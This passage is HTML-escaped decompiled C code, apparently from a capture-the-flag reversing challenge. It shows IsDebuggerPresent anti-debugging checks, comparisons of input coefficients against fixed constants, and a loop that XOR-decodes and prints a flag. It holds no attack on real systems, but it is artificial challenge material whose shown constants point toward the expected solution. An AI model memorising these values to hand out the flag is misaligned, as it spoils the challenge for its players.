&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_00408044,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_00408048,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_0040804c,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_004080 &lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_00408054,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_00408058,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_0040805c,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_00408060);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Hmm, let me think&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pFVar4 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;__iob_func&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fflush&lt;/span&gt;&lt;span&gt;(pFVar4 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;2e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pFVar4 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;__iob_func&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fflush&lt;/span&gt;&lt;span&gt;(pFVar4 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;2e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pFVar4 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;__iob_func&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fflush&lt;/span&gt;&lt;span&gt;(pFVar4 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;.&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3c&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;do&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3b&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; local_c) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408060 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_14 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_14 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;; local_14 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_14 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_14] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_14] &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; DAT_00408060;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_0040805c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;25e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408058 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;ac52&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Correct! Here&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;s the flag: &quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_48 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; coeffs;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_44 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_00408044;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_40 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_00408048;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_3c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_0040804c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_38 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408050;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_36 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408054;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_34 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408058;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_32 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_0040805c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_30 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408060;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;memcpy&lt;/span&gt;&lt;span&gt;(local_88,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;local_48,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1a&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;memcpy&lt;/span&gt;&lt;span&gt;(local_6e,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;local_48,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1a&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_18 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_18 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;34&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; local_18 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_18 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                            &lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;xorcode)[local_18] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                            &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;uint&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;WRONG&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;WRONG&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; iVar2;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;total &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;power &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_10 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_10 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;; local_10 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_10 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;total &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; total &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_10] &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; power;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;power &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; power 